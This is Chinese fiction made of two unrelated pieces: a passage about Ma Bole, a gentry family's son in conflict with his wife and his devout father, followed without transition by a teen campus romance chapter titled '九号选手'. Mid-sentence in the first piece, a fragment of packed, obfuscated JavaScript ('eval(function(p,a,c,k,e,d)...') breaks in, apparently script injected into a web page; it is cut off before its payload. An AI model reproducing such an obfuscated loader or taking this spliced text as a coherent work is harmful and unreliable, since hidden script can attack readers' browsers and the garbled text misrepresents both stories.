于是他又回到家中做少爷,少爷多半都是很幸福地随便花钱。但他不成,他的父亲说过: 非等我咽了气,你们就不用想,一分一文都得拿在我的手里。”同时又常常说: “你们哪一个若嫌弃你爹老朽昏庸,哪一个就带着孩子、老婆另起炉灶去好啦。” 马伯乐住在家里常常听这难听没有意思的话。虽然家里的床是软的,家的饭食是应时的,但总像每天被虐待了一样,也好 像家中的奴仆之一似的,溜溜的,看见父亲的脸色一不对,就得赶快躲开。 每逢向父亲要一点零用的钱,比挖金子还难,钱拿到了手必得说: “感谢主,感谢在天的父。” 他每逢和父亲要了钱来,都气得面红耳热,带钱回到自己房里,往桌上一摔,接着就是: “真他妈的中国人!” 而后他骂父亲是守财奴、看钱兽、保险箱、石头柜等等名词。 可是过不了几天,钱又花完了,还是省着省着花的。要买一套新的睡衣,旧的都穿不得了,让太太给缝了好几回了。 一开口就要八块钱,八块钱倒不算贵,但是手里只有十块了,去了八块零用的又没有了。 有时候同朋友去看看电影,人家请咱们,咱们也得请请人家! 有时他手里完全空了时,他就去向太太借,太太把自己的体己钱扔给他,大太做出一种不大好看的脸色来: “男子仅!不能到外边去想钱,拿女人的钱。” 有一次马伯乐向父亲去要钱,父亲没有给,他跑到太太那里去,他向大大说: “这老头子,越老越糊涂,真他妈的中国人!” 太太说: “也难怪父亲啦,什么小啦,也是二三十岁的人啦。开口就是父亲,伸手就是钱。 若不是父亲把的紧一点,就像你这样的呀,将来非的卖老婆当孩子不可。一天两只手,除了要钱,就是吃饭,自己看看还有别的能耐没有?我看父亲还算好的哪!若摊着穷父亲启不讨饭吃去!” 马伯乐的脸色惨白惨白的: “我讨饭去不要紧哪,你不会看那个有钱有势的你就跟他去,” 马伯乐还想往下说。 可是太太伏在穿上就大哭起来: “你这没良心的,这不都是你吗?我的金戒指一只一只的都没有啦。那年你也不是发的什么疯,上的什么上海!我的金手镯呢?你还我呀,在上海你交的什么女朋友,你拿谁的钱摆的阔?到今天我还没和你要,你到有嘴骂起我来。东家西家,秭秭妹妹的,人家出门都是满手金虎虎地戴着。咱们哪怕没有人家多,也总得有点呵。我嫁你马伯乐没有吃过香的,没有喝过辣的。动不动你就跑了,跑北京,跑上海……跑到哪儿就会要钱,要钱的时候,写快信不够快,打来了电报。向我要钱的时候,越快越好。用不着我的时候就要给点气受。你还没的好呢,就歪起我来了,你若得好,还能要我,早抛的八千里之外去了” 马伯乐早就逃开了,知道事情不好,太太这顿乱说,若让父亲听到,“到那时侯可怎么办哪?” 他下了楼,跑到二门口去,在影壁那里站着。 影壁后面摆着一对大圆的玻璃养鱼缸。他一振动那沿,里面的鱼就更快地跑一阵。 他看着,觉得很有趣。 “人若是变个金鱼多好!金鱼只喝水,不吃饭,也不花钱的呀!” 他正想着想着,楼上那连苦带吵的声音,隐约还可以听到。他想把耳朵塞住,他觉得真可怕,若是让父亲听见,“到那时候,可怎么办?” 正想迈开步逃,逃到街上去,在街上可以完全听不见这种哭声。他刚一转身,他听楼上喊着: “你给我金手镯呀!你给我金手镯!” 这声音特别大,好像太太已经出来了,在走廊上喊着似的,听得非常清楚。 可是他也没敢往走廊上看,他跑到大街上去了。 太太在楼上自己还是哭着,把一张亲手做的白花蓝地的小手帕也都哭湿了,头发乱蓬蓬地盖了满脸。把床单也哭湿了。 她的无限的伤心,好像倾了杯子的水,是收不住的了。 “你马伯乐,好没良心的。你看看,我的手上还有一颗金星没有,你看看,你来看……” 太太站起来一看,马伯乐早就不在屋里了。 于是伏在床上,哭得比较更为悲哀,但只哭了几声就站起来了。 很刚强的把眼泪止住,拿了毛巾在脸盆里浸了水,而后揩着脸,脸上火辣辣的热,用冷水一洗,觉得很凉爽。只是头有点昏,而且眼睛很红的。不能出去,出去让人看了难为情。 只得坐在沙发上,顺手拿起当天的日报看看,觉得很无聊。 等她看到某商店的广告,说是新从上海来了一批时装,仕女们请早光临,就在报纸上还刊登了一件小绒衣的照像。那衣裳是透花的,很好看,新样子,她从来没有见过。她想若也买一件,到海边去散步穿穿,是很好的。在灯光下边,透花的就更好看。 她一抬头,看见了穿衣镜里边,那红眼睛的女人就是她自己。她又想起来了: “还买这个买那个呢,有了钱还不够他一个人连挖带骗的……唉……” 她叹了一口气,仍勉强地看报纸。她很不耐烦。 “那样没出息的人,跟他一辈子也是白忙。” 太太是很要强的一个女人。 “光要强有什么用,你要强,他不要强,……。” 她想来想去,觉得人活着没有什么意思,又加上往镜子里一看,觉得自己也老许多了,脸色也苍白了许多。 可是比从前还胖了一点,所以下巴是很宽的。人一胖,眼睛也就小。 她觉得自己从前的风韵全无了。 于是拿起身边的小镜子来,把额前的散发撩一撩,细看一看自己的头盖是否已经有了许多皱纹?皱纹仍是不很显然。不过眉毛可有多少日子没有修理了。让孩子闹的,两个眉毛长成一片了。 她去开了梳妆台的抽屉,去找夹眉毛的夹子。左找右找也找不着,忽然她想起来那夹子不是让孩子们拿着来玩的吗?似乎记得在什么地方看见过,但又忘得死死的,想也想不起来。这些孩子真讨厌,什么东西没有不拿着玩的,一天让他们闹昏了。 说说她又觉得头有点昏,她又重新没有力气地坐到沙发上去了。 一直坐在那里,听到走廊上有人喊她,她才站起来。 “大少奶奶!” 喊声是很温柔的,一听就知道是她的婆母。她连忙答应了一声: “请娘等一会,我拢一拢头就来。” 她回答的时候,她尽可能发出柔弱娇媚的声音,使她自己听了,也感到人生还有趣的。 于是她赶快梳了头,脸上扑了一点粉,虽没有擦胭脂,她觉得自己也并没有老了多少。正待走出去,才看见自己旗袍在哭时已经压了满身的褶子。 她打开挂衣箱,挂衣箱里挂满了花花绿绿的袍子。她也没有仔细挑选,拉出一件就穿上了,是一件紫色的,上边也没有花,已经是半新不旧的了。但是她穿起来也很好看,很有大家闺秀的姿态。 她的头发,一齐往后梳着,烫着很小的波浪,只因刚用梳子梳过,还有些蓬蓬之感。她穿的是米色的袜子,蓝缎绣着黄花的家常便鞋。 她走起路来,一点声音也没有。她关门的时候在大镜子里看一看自己,的确不像刚刚哭过。 于是她很放心地沿着走廊过去了。走廊前的玻璃窗子一闪一闪地闪着个人影。 到了婆婆屋里,婆婆叫她没有别的事,而是马神父的女儿从 上海来,带一件黑纱的衣料送给婆母。婆母说上了年纪的人穿了让人笑话,打算送给她。她接过来说: “感谢我主耶稣。” 她用双手托着那纸盒,她作出很恭敬的姿态。她托着纸盒要离开的时候,婆母还贴近她的耳朵说: “你偷偷摸摸做了穿,你可别说……说了二少奶奶要不高兴的。” 马伯乐的太大回到自己房里,把黑纱展开围在身上,在镜前看了一看。她的自信心又生起来了。 婆婆把衣料送给她,而不送给二少奶奶,这可证明婆婆是喜欢她的。婆婆喜欢她,就因为她每早很勤奋地读《圣经》。老太爷说得好: “谁对主耶稣最真诚,将来谁得的遗产就多。” 她感到她读《圣经》的声音还算小,老太太是听见了的,老太 爷的耳朵不大好,怕他未必听见,明天要再大声地读。 她把衣料放好,她就下厨房去,照料佣人去烧菜去了。 什么金手镯,金戒指,将来还怕没有的?只要对那稣真诚一些。 所以她和马伯乐吵嘴的事情,差不多已不记在她心上了。 马伯乐的父亲是中国北部的一个不很大的城市的绅士,有钱,但不十分阔气。父亲是贫穷出身,他怕还要回到贫穷那边去,所以他很加小心,他处处兢兢业业。有几万块的存款,或者不到十万,大概就是这个数目。因此他对儿子管理的方法,都是很严的(其实只有一个方法,“要钱没有”)。 而且自己也是以身作则,早起晚睡。对于那稣几年来就有深厚的信仰。 这一些,马伯乐也都不管。独有向父亲要钱的时候,父亲那种严加考问的态度,使他大为不满,使他大为受不了。 马伯乐在家里本是一位少爷,但因为他得不到实在的,他就甘心和奴仆们站在一方面。他的举动在家里是不怎样大方的,是一点气派也没有的,走路溜溜的。 因此他恨那有钱的人,他讨厌富商,他讨厌买办,他看不起银行家。他喜欢嘲笑当地的士绅。他不喜欢他的父亲。 因此,像父亲那一流人,他都不喜欢。 他出门不愿坐洋车。他说:“人拉着人,太没道理。” “前边一个挣命的,后边一个养病的。”这不知是什么人发明的两句比喻,他觉得这真来得恰当。拉车的拼命地跑,真像挣命的样子。坐车的朝后边歪着,真像个养病的。 对于前边跑着那个挣命的,虽然说马伯乐也觉得很恰当,但他就总觉得最恰当的还是后边坐着那个养病的。 因为他真是看不惯,父亲一出一入总是坐在他自用的洋车里。 马伯乐是根本不愿意坐洋车,就是愿意坐,他父亲的车子,他也根本不能坐。 记得有一次马伯乐偷着跳上了父亲的车子,喊那车夫,让那车夫拉他。 车夫甩着那张扎煞的毛巾,向马伯乐说: “我是侍候老爷的。我侍候你,我侍候不着。” 他只得悄悄地从车子上下来了。 但是车前那两个擦得闪眼湛亮的白铜灯,也好像和马伯乐示威的样子。 他心里真愤恨极了,他想上去一脚把它踏碎。 他临走出大门的时候,他还回头回脑地用眼睛去瞪那两个白铜灯。 马伯乐不喜交有钱的朋友。他说: “有钱的人,没有好人。” “有钱的人就认得钱。” “有钱的人,老婆孩子都不认得。” “有钱的人,一家上下没有不刻薄的,从仆人到孩子。” “有钱的人,不提钱,大家欢欢喜喜;若一提钱,就把脸一变。祖孙父子尚且如此,若是朋友,有钱的,还能看得起没钱的吗?” 他算打定了主意,不交有钱的朋友。 交有钱的朋友,哪怕你没有钱,你回家去当你老婆的首饰,你也得花钱。他请你看电影,你也得请他。他请你吃饭,你也得请他。他请你上跳舞厅,你也得照样买好了舞票,放在他的口袋里。他给你放一打,你也得给他放一打半。他给你放一打半,你得给他放两打。著是他给你放一打,你也给他放一打,那未免大小气了,他就要看不起你了。 可是交几个穷朋友,那就用不着这一套。那真好对付,有钱的时候,随便请他们吃一点烫面蒸饺,吃一点枣泥汤圆之类,就把他们对付得心满意足了。 所以马伯乐在中学里交的多半是穷朋友,就是现在他的朋友也不算多,差不多还是那几个。他们的资财都照马伯乐差得很远。 交了穷朋友,还有一种好处,你若一向他们说: “我的父亲有七八万的财产。” 不用说第二句话,他们的眼睛就都亮了。可是你若当有钱的人说,他们简直不听你这套,因为他父亲的钱比你的父亲的钱更多。你若向他们说了,他们岂不笑死? 所以马伯乐很坚定的,认为有钱的人不好。 但是穷朋友也有一个毛病,就是他们常常要向他借钱。钱若一让他们看见了,就多少得给他们一点。 所以马伯乐与穷朋友相处时,特别要紧的是他的钱包要放在一个妥当的地方。 再回头来说,马伯乐要想写文章,不是没道理的,他觉得他的钱太少了,他要写文章去卖钱。他的文章没有写出来,白费了工夫。 后来,他看看,要想有钱,还是得经商,所以他又到上海去了一次,去经营了一个小书店。 这次是父亲应允了的,不是逃的。 并且父亲觉得他打算做生意了,大概是看得钱中用了。于是帮助他一笔款子。 太太对他这经商的企图,且也暗中存着很多的期望,对他表示着十分的尊敬。 在马伯乐临走的前一天的晚饭,太太下了厨房,亲自做了一条鱼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“唉!那都不用说了,你南方跑一次上海,北方跑一次北京……唉!那都不用说了,哪个人年青还不荒唐二年,可是人近了三十,就应该立定脚跟好好干一点事,不为自己,还得为自己的儿孙后代……主耶稣为什么爱他的民呢?为什么上了十字架的?,还不是为了他的民。人也非得为着他的后代着想不可,我若是不为着你们,我有钱我还不会到处逛逛,我何必把得这样的紧,和个老守财奴似的。你看你父亲,从早到晚,一会礼拜堂,一会马神父公馆。我知道,你们看了,觉得这都是多余的,好像你父亲对外国人太着眼,其实你父亲也不愿那样做,也愿意躺在家里装一装老太爷。可是这不可能。外国人是比咱们强,人家吃的穿的,人家干起事来那气派。咱们中国人,没有外国人能行吗?虽然也有过八国联军破北京,打过咱们,那打是为了咱们好,若不打,中国的教堂能够设立这么多吗?人家为啥呢,设立教堂!人家是为着咱们老百姓呵,咱们中国的老百姓,各种道德都及不上外国人,咱们中国人不讲卫生,十个八个人地住在一个房间里。就好比咱们这样的人家,这院子里也嘈杂得很一天像穿箭似的,大门口一会丫头出去啦,一会拉车的车夫啦。一会卖香瓜的来,又都出去买香瓜。你看那外国人,你看那外国人住的街,真是雅静得很,一天到晚好像房子是空着。人家外国人,不但夫妇不住一屋,就连孩子也不能跟着她妈睡觉,人家有儿童室,儿童室就是专门给小孩子预备的。咱们中国人可倒好,你往咱们这条街上看看,哪一个院子里不是蚂蚁翻锅似的。一个院子恨不能住着八家,一家有上三个孩子。外国人就不然,外国人是咱们中国人的模范。好比咱们喝酒这玻璃杯子吧,若不是人家外国人坐着大洋船给咱们送到中国来,咱们用一个杯子还得到外国去买,那该多不便当。人家为着啥?人家不是为了咱们中国方便吗!?” 马伯乐听了心里可笑,但是他也没有说什么。因为马伯乐的脾气一向如此,当着面是什么也不说的,还应和着父亲,他也点着头。 父亲这一大堆话,到后来是很感伤的把话题落在马伯乐身上。好像是说,做父亲的年纪这样大了,还能够看你们几年,你们自己是该好好干的时候了。 母亲在桌子上没敢说什么。可是一吃完了饭,就跪到圣母玛丽亚的像前,去祷告了半点多钟,乞求主耶稣给他儿子以无限的勇气,使他儿子将来的生意发财。 “主耶稣,可怜他,他从来就是个老实的好孩子。就是胆小,我主必多多赐给他胆量。他没有做过逆我主约言的事情。我主,在天的父,你给他这个去上海的机会,你也必给他无限的为商的经验。使他经起商来,一年还本,二年生利,三年五年,金玉满堂,我主在天的父。” 马伯乐有生以来第一次接受这样庄严的感情,自己受着全家的尊敬,于是他迈着大步在屋子里来回地踱着,他手背在背后,他的嘴唇扣得很紧,看起来好像嘴里边在咬着什么。他的眼光看去也是很坚定的。他觉得自己差一点也是一位主人。他自己觉着在这个世界上活着也是有权利的。 他从来不信什么耶稣,这一天也不知道他倒是真的信了怎么的,只是他母亲从玛丽亚那儿起来时,他就跪下去了。 这是他从来所未有的。母亲看了十分感动,连忙把门帘挑起,要使在客厅里的父亲看一看。 平常父亲说马伯乐对主是不真诚的: “晚祷他也不做呀!” 母亲那时就竭力辩护着,她说: “慢慢他必要真诚的。” 现在也不是晚祷的时候,他竟自动地跪下了。 母亲挑起门帘来还向父亲那边做了一个感动的眼神。 父亲一看,立刻就在客厅里那稣的圣像面前跪下了。他祷告的是他的儿子被耶稣的心灵的诱导,也显了真诚的心了。他是万分地赞颂耶稣给他的恩德。 父亲也祷告了半点多钟。 母亲一看,父亲也跪下了,就连忙去到媳妇的屋里。而媳妇不在。 老太大急急忙忙地往回头走,因为走得太急,她的很宽的腮边不住地颤抖着。 在走廊上碰到媳妇抱着孩子大说大叫地来了。她和婆母走了个对面,她就说: “娘呵!这孩子也非打不可了,看见卖什么的,就要买什么。这守安息日的日子,买不得……” 婆婆向她一摆手,脸上没有什么表情,好像有什么事发生了似的。婆婆说: “你别喊,你看保罗跪在圣母那儿啦!”婆婆说了一句话,还往喉咙里边咽了一口气,“你还不快也为他祈祷,祈求慈爱的在天的父不要离开他。从今天起,保罗就要对主真诚了。” 说着她就推着媳妇: “你没看你爹也跪下了,你快去……” (马怕乐本来叫马保罗,是父亲给他起的外国名字。他看外国名子不大好,所以自己改了的。他的母亲和父亲仍叫他保罗) 不一会的工夫差不多全家都跪下了。 马家虽然不是礼拜堂,可是每一间屋里都有一张圣像。就连走廊、过道也有。仆人们的屋子里也有。 不过仆人的屋子比较不大讲究一点,没有镶着框子,用图钉随便钉在那里。仆人屋里的圣像一年要给他们换上一张,好像中国过年贴的年画一样。一年到头挂得又黑又破,有的竟在耶稣的脚上撕掉了一块。 经老太大这一上下地奔跑,每张圣像前边都跪着人,不但主人,仆人也都跪下了。 梗妈跪在灶房里。 梗妈是山东乡下人,来到城里不久,就随了耶稣教了。在乡下她是供着佛的,进了城不久把佛也都扔了。传教的人向她说: “世间就是一个神,就是耶稣,其余没有别的神了。你从前信佛,那就是魔鬼遣进你的心了。现在你得救了。耶稣是永远开着慈爱的门的,脱离了魔鬼的人们,一跪到耶稣的脚前,耶稣没有不保护他的。” 梗妈于是每个礼拜日都到礼拜堂去,她对上帝最真诚,她一祷告起来就止不住眼泪,所以她每一祷告就必得大哭。 梗妈的身世很悲惨的,在她祷告的时候,她向上帝从头到尾他说了一遍: “上帝,你可怜我,我十岁没有娘,十五岁做了媳妇,做了媳妇三年我生了三个孩子……第三个孩子还没有出生,孩子的爹就走了,他说他跑关东去,第二年回来。从此一去无消息,……上帝,你可怜我……我的三个孩子,今天都长大了,上帝,可怜我,可别让他们再去跑关东。上帝,你使魔鬼离开他们,哪怕穷死,也是在乡里吧。” 马老太太跟她一同去做礼拜,听了她这番祷告,她也感动得流了眼泪。 梗妈做起事情来笨极了,拿东忘西的,只是她的心是善良的,马老太太困此就将就着她,没有把她辞退。 她哄着孩子玩的时候,孩子要在她的脸上画个什么,就画个什么。给她画两撇胡子,脑盖上画一个“王”字,就说梗妈是大老虎。于是梗妈也就伏在地上四个腿爬着,并且嗷嗷地学着虎叫。 有的时候,孩子给梗妈用墨笔画上了两个大圆眼镜,给她拿了手杖,让她装着绅士的样子。有一天老太太撞见了,把老太太还吓了一跳。可是老太太也没有生气。 因为梗妈的脾气太好了,让孩子捉弄着。 “若是别人,就那么捉弄,人家受得了?” 二少奶奶要辞退梗妈的时候,老太太就如此维护着她的。 所以今天老太太命令她为大少爷祈祷,以她祷告得最为悲哀,她缠缠绵绵地哭着,絮絮叨叨地念诵着。 小丫环正端着一盆脸水,刚一上楼梯,就被老太太招呼住。 小丫环也是个没有娘的孩子。并不是娘死了,或者是爹死了,而是因为穷,养活不了她,做娘的就亲手抱着她,好像抱着小羊上市去卖的一样,在大街上就把她卖了。那时她才两岁,就卖给马老太太邻居家的女仆了。后来她长到七岁,马老太太又从那女仆手里买过来的。马老太太花去了三十块钱,一直到今天,马老太太还没有忘记。她一骂起小丫环来,或者是她自己心里有什么不高兴的事情,她就说: “我花三十块钱买你,还不如买几条好看的金鱼看看,金鱼是中看不中吃,你是又不中看又不中吃。” 小丫环做事很伶俐,没有什么不好,只是好偷点东西吃,姑奶奶或是少奶奶们的屋子,她是随时进出的,若屋子里没有人在,她总是要找一点什么糖果吃吃的。 老太太也打了她几次,一打她就嘴软了,她说再也不敢吃了,她说她要打赌。老太太看他很可怜,也就不打她了,说: “主是不喜欢盟誓的……” 老太大每打她一次,还自己难过一阵: “唉!也不是多大的孩子呵!今年才九岁,走一家又一家的,向这个叫妈那个叫娘的。若不是花钱买来的,若是自己肉生肉长的,还不知多娇多爱呢!最苦苦不过没娘的孩。” 老太太也常在圣像面前为她祈祷,但她这个好偷嘴吃的毛病,总不大肯改。 小丫环现在被老太太这一招呼,放下了端着的脸盆,就跪在走廊上了。 她以为又是她自己犯了什么还不知道的错处,所以规规矩矩地跪着,用污黑的小手盖在脸上。 老太太下楼一看,拉车的车夫还蹲在那儿擦车灯,她赶快招呼住他: “快为大少爷祈祷……快到主前为大少爷祈祷。” 车夫一听,以为大少爷发生了什么不幸,他便问: “大少爷不是在家没出去吗?” “就是在家没出去才让你祈祷。” 车失被喝呼着,也就隔着一道门坎向着他屋里的圣像跪下了。 车夫本来是个当地的瓷器小贩子,担些个土瓷、瓦盆之类,过门唤卖。本来日子过得还好,一妻一女。不料生了一场大病(伤寒病),他又没有准备金,又没有进医院,只吃些中国的草药,一病,病了一年多,他还没有全好,他的妻女,被他传染就都死在他的 前面。 于是病上加忧,等他好了,他差不多是个痴人了。每当黄昏,半夜,他一想到他的此后的生活的没有乐趣,便大喊一声: “思想起往事来,好不伤感人也!” 若是夜里,他就破门而出,走到天亮再回来睡觉。 他,人是苍白的,一看就知道他是生过大病。他吃完了饭,坐在台阶上用筷子敲饭碗,半天半天地敲。若有几个人围着看他,或劝他说: “你不要打破了它。” 他就真的用一点劲把它打破了。他租一架洋车,在街上拉着,一天到晚拉不到几个钱,他多半是休息着,不拉,他说他拉不动。有人跳上他的车让他拉的时候,他说: “拉不动。” 这真是奇怪的事情,拉车的而拉不动。人家看了看他,又从 他的车子下来了。 不知怎样,马伯乐的父亲碰上他了。对他说: “你既是身体不好,你怎么不到上帝那里,去哀求上帝给你治好呢?” 他看他有一点意思,便说: “你快去到主前,哀求主给你治吧!主治好过害麻风病的人,治好过瞎眼的人……你到礼拜堂去做过礼拜没有?我看你这个样子,是没有去过的,你快快去到主前祈祷吧。只有上帝会救了你。” 下礼拜,那个苍白的人,去到了礼拜堂,在礼拜堂里学会了祷告。 19. 九号选手 夏末的风吹过,闷热得像是这个季节的开端,夏棉棉还穿着碎花长裙白色凉鞋,手里握着一根据说是棉花糖口味的棒冰。 棒冰入口甜腻腻的,却也仅此而已,据老板说,卖的不好以后都不会进货了。 夏棉棉站在小区的篮球场外,阳光直直地照在脸上,她也不在意,还是眯着眼往里看。化掉的糖水顺着木棍流进手指缝隙,张嘴舔掉还是黏糊糊的。 直到场上的男孩们中场休息,她也没往前多走一步。 真的好帅好帅啊,九号选手。 场内,九号选手用剩下的水洗了脸,撩起额头的碎发,笑着和朋友说话,水滴顺着下巴落在橡胶地上,一切都像是在发光。 就像是以他为原点的一座少女心收割机不断增强功率,夏棉棉还手持信号接收器,被撩的晕乎乎的。 要是收割范围只有我就好了。 夏棉棉咬牙切齿地想——有个女孩递给九号选手一瓶水,他接过了。 突然咬了一半的棒冰脱离支撑自己的木棍,直直地砸落在夏棉棉地脚趾上,很快化成一滩糖水。 和场内那对看起来很美好的两人一比,她,夏棉棉,狼狈极了。 这个暑假,她第一次没有等九号离开先一步回家了。 冲洗干净,夏棉棉仰面躺在床上,黑发凌乱地散落,和它主人那发散的思维一般一般四处扩散。 暑假就要过去了,她还没和九号选手说过话呢。 九号选手可真好看啊,笑起来好像在发光啊。 要是九号选手愿意和她谈恋爱,他们一定会很幸福的。 幸福是不是结婚才能用啊,但是她只想和他谈恋爱。 好想和他谈恋爱啊,他的嘴唇看起来好软啊。 啊,夏棉棉你个色胚,在想什么啊。 这个夏天和往前数的17个夏天都不一样,整理书包的时候她在还想,如果夏天才刚刚开始就好了,她一定在路过球场的第一次,就走进那个球场,而不是缩在外面张望。 球砸在她脚边之前九号选手已经跑过来了,看见她没有被砸到才停下脚步松了口气,捡起球后懊恼地说抱歉。那时候他身上穿着白色的九号球衣,呼吸很急促,周身热气腾腾。 那一刻,她甚至没听清他在说什么,直愣愣地看着他,似乎吓得不轻。 只有夏棉棉自己知道,在和那双眼睛对视的瞬间,她和JuliBaker一样,怦然心动了。 他们也许是邻居,但就像她不敢站出来和他认识一样,她同样不敢尾随他回家。九号选手走的方向不仅是七八九十栋,也是小区西门。 前一秒还在唉声叹气的夏棉棉,下一秒恨不得把自己的同桌抱起来转圈。 “他是转学生?” 同桌王雯也是星星眼,“是啊是啊,好帅啊,没想到朴实无华的转学生这么帅还这么高!” 还没开学班级群就有讨论过转学生,直到班长甩出一张证件照,群里才停止讨论。照片有点模糊看起来年纪很小还没长开,用一句朴实无华就能形容。夏棉棉当时每天像是上班一样去篮球场打卡,更是没多注意这张朴实无华的转学生照片。 这叫什么!命里有时终须有,不不不,她捧着脸盯着转学生,这叫缘分。 转学生九号选手在做自我介绍,粉笔摩擦黑板,两个字写的很工整。 他说,“我叫洛安。” 老班鼓励地说,“洛安多说几句,让同学们多了解你。” 听见这话,夏棉棉先皱眉了,她和王雯吐槽,“老班还以为自己很和蔼友善呢,人家要是不想说吗,强人所难!” 王雯的立场也看脸,她跟着点头,“就是,要是我站在上面,好不容易说完名字,再让我说些杂七杂八的,我只觉得尴尬地想缩起来。” “洛安看起来就有点怕生啊,不想说还为难人家,烦死了为什么这个世界就不能对帅哥友善呢?!” 她还想补充几句,就听见老班的声音从后面传来。 “这个世界为什么就不能对中年男人友善呢?夏棉棉同学可以解答老师的疑惑吗?” 两个小姑娘像是卡成了ppt,缓慢地转头,神情像是见了鬼。 夏棉棉强迫自己忽视全班的视线,尴尬地说,“老师好啊。” “不用和老师客气,先回答问题吧。” 都给台阶下了老班还没眼力见,夏棉棉心一狠,“世界对中年帅男人也是友善的!” 老班都走了她还是恍惚的样子。 王雯崇拜地说,“真牛啊棉棉,你可真敢说。” “不是,”夏棉棉抓狂,“他不是在讲台上吗,什么时候过来的?我一点没感觉到!” 前桌转回头,“是你们太投入了!无语,女生就这么爱帅哥?肤浅!” “无语,说的你不喜欢看美女一样,这世界对帅哥就不能友善点吗?” 王雯学着夏棉棉的语气,“你要是帅哥我也爱看你…” 他们后来说了什么夏棉棉没听见,她趴在桌子上装死。 不是吧不是吧,九号选手刚来她就搞这? 啊啊啊啊,烦死了烦死了,都怪老班,大家都在讨论为什么就点她的名字啊! 呜呜呜,九号选手叫洛安,真好看,不是,真好听,和他人一样好看。 想到这里她猛地抬头,王雯还在和前桌斗嘴,她回头看向洛安座位的方向——因为高他直接被安排在了最后一排。 洛安在整理新发的书,他们学校喜欢把书先发下来让他们暑假先预习。洛安旁边围着几个人,男的女的都有,而且全班大多数人的视线都在若有若无往他身上看。 夏棉棉好酸,她心里似乎有个小人在咬手帕。 好烦好烦,都别看,洛安是她的。 不行不行,夏棉棉你不行啊,放松放松,帅哥是人类的宝藏,占有欲收收好不好? 咬了半天手帕,小人还是跌倒在地,夏棉棉扭头重新趴回桌子上,眼不见心不烦。 为什么洛安不是她的啊,为什么一个暑假的时间,连同小区的初中妹妹都能给洛安送水了,她还是和洛安一点都不熟啊! 爱情的邪 课间,夏棉棉想去和洛安打个招呼,毕竟也是有过一面之缘,洛安可能还记得她。刚做好心理建设,一转头,他身边又围了人,还有别班爱串门的女生。 像是鼓鼓的气球瞬间泄气,夏棉棉烦躁地在心里骂自己不争气,一天下来,扭捏了好久,硬是没迈出第一步了。 苍天可鉴,她夏棉棉确实胆小,但不至于连和新同学打招呼的勇气都没有。只能说,成也一面之缘,败也一面之缘。 王雯刚从厕所回来,路上往洛安边上绕过来的,很激动地拉着夏棉棉。 “真的好帅啊,真的近看好帅啊,帅哥真的连皮肤都天生丽质!” 夏棉棉狂点头,突然回握她的手,“陪我出去逛一圈!” “干什么?开学典礼要开始了,等下老班就过来了。” 讲台上响起咳嗽的声音,老班已经到了。 “我知道你们一暑假没见了都兴奋,但是上课铃声也要听!电教上来把电脑打开,其他班早就准备好了!” 看着电教起身,他慢悠悠地喝了口水继续说,“还有些女生,我知道你们小年轻就喜欢帅哥,但是别天天围着人家,我听说还有外班的女生,啧啧,把这心放在学习上,年级第一都害怕你们哦!” 夏棉棉恨开学典礼,她好不容易找到理由去后排浪一圈。 也不知道是不是老班的话起了作用,女生确实很少过去了,也有可能是因为来日方长,去多了还招人烦。但是洛安除了上课,还是很忙,他午休的时候被拉去打球,男生们都很喜欢他,拉着他称兄道弟。 一群爱情路上的绊脚石。 气死了气死了气死了。 夏棉棉气鼓鼓地背起书包,头都没转地往外走,同组的人喊她。 “棉棉,这周是我们组搞卫生。” 十分钟不到,夏棉棉放下扫把,和王雯一起往外走。 “幸好老班开会去了,不然抓死了我们回家得六点了。” “上学期不是才轮到第一组两天吗,他们运气真好。”夏棉棉说完,扯着书包带子,悄悄掏出手机。 她们俩都不住校,有关安全,家里对手机就睁一只眼闭一只眼。 “我就知道,这群人不知道多少藏了手机,表白墙全是洛安!” 王雯赞同道,“帅哥果然是不能隐隐于世的,他们不配。不过棉棉,从前也没见你对帅哥这么关注啊!” 夏棉棉妥妥的小美女,长得好性格也好,不过人很懒,家里又管的严,高一还有些学长来表白,后来知道她的性子之后也就少了,甚至有些准备等着高考结束再和她谈感情。 但是,她今天表现不对劲。 王雯模仿老班的口吻,严肃地说,“夏棉棉同学,你不会是真喜欢上洛安了吧,上学期收小说的时候还要我监督你要好好学习呢?” “啊这这这,”夏棉棉眨眨眼,“帅哥是全人类的宝藏,而且,万一帅哥成绩还很好,我和他早恋不是等于好好学习向好同学致敬吗?” 王雯略略一沉思,“其他老夫不好说,帅哥是全人类的宝藏这句话,很难不赞同。” 她话音刚落,两个小姑娘情不自禁地在楼梯间相视笑出了声。 两个人家在两个方向,出了校门就摆摆手分开了。 夏棉棉才走了几分钟,就看到站在树下玩手机的洛安。 这下周边无人,天时地利人和,在不出声她就不是夏棉棉! “洛安!” 洛安闻声抬头,夏棉棉不由地弯弯眼睛,“好巧啊洛安!” “是啊,”他眼里也带了点笑意,他说,“夏棉棉,上次差点砸到你忘记问名字了,好巧我们居然在一个班,我之前还以为看错了。” 洛安穿着一中统一发的校服夏装,秋装外套挂在手臂,额头散落着碎发,漂亮的眼睛认真地注视,这一切在夏棉棉眼里,都好看的要命,怎么看都特别,怎么看都喜欢。 “你在等人吗?“ “啊…”洛安犹豫地说,“是吧,在等人。” 夏棉棉有点遗憾,还以为能一起回家呢,不过她很快就整理好心情,不要贪得无厌,能单独说话就很惊喜了。 “那我先走了,早点回家哦!” “好,注意安全夏棉棉。” 打开门,父母还没回来。夏棉棉扔下书包,鞋子都没换先蹲在墙角偷笑了几分钟,之后脱下鞋子直接跳到沙发上打滚。 缘分啊这就是缘分啊,原本还在抱怨一整天了都没和洛安说上话,没想到出校门都能遇上… 洛安真的连头发丝都长在她的审美上! “夏棉棉!” 啊啊啊,他还叫了她的名字,两遍!注意安全夏棉棉,她回来的路上头都是晕乎乎的,幸好行人注意安全。 “夏棉棉!” 是哦是哦,重点在他知道自己的名字,就老班喊了一声,他还记住了! “夏棉棉!” 夏棉棉睁开眼,后知后觉这声音好像是她妈的。 回头果然是她妈,不知道什么时候回来的,正叉腰皱眉看着她。 “我一回家就看到你在这打滚呢,干嘛呢,有力没处使啊!” “没有没有。“夏棉棉小幅度地摇摇手,”妈你回来了啊。” “是啊!”她妈没气好气地往厨房走,“还好是我先回来,要是你爸看到了,还以为你中邪了。” 不,这不是简单的中邪,夏棉棉在心里大声地反驳。 这是,中爱情的邪。 谈恋爱了? 